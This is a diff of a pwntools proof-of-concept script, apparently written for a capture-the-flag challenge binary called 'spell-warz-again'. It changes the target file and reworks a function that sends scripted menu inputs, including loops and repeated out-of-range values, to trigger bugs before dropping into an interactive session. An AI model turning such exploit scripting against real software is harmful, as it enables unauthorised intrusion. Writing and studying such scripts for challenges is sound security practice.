|
|
@ -1,6 +1,7 @@ |
|
|
|
from pwn import process |
|
|
|
|
|
|
|
FILENAME = "./spell-warz-again-patched" |
|
|
|
FILENAME = "./spell-warz-again-final" |
|
|
|
|
|
|
|
|
|
|
|
def poc0(): |
|
|
|
p = process(FILENAME) |
|
|
@ -26,14 +27,22 @@ def poc1(): |
|
|
|
p.sendline("Leo") |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("y") |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("2") |
|
|
|
for _ in range(100): |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("3") |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("0") |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("y") |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("1") |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("4") |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("y") |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("0") |
|
|
|
for _ in range(10): |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("99") |
|
|
|
p.interactive() |
|
|
|
|
|
|
|
|
|
|
@ -45,7 +54,6 @@ def poc2(): |
|
|
|
p.sendline("y") |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("2") |
|
|
|
p.interactive() |
|
|
|
print p.recvuntil(">") |
|
|
|
p.sendline("4") |
|
|
|
print p.recvuntil(">") |
|
|
@ -57,4 +65,4 @@ def poc2(): |
|
|
|
|
|
|
|
|
|
|
|
if __name__ == "__main__": |
|
|
|
poc2() |
|
|
|
poc1() |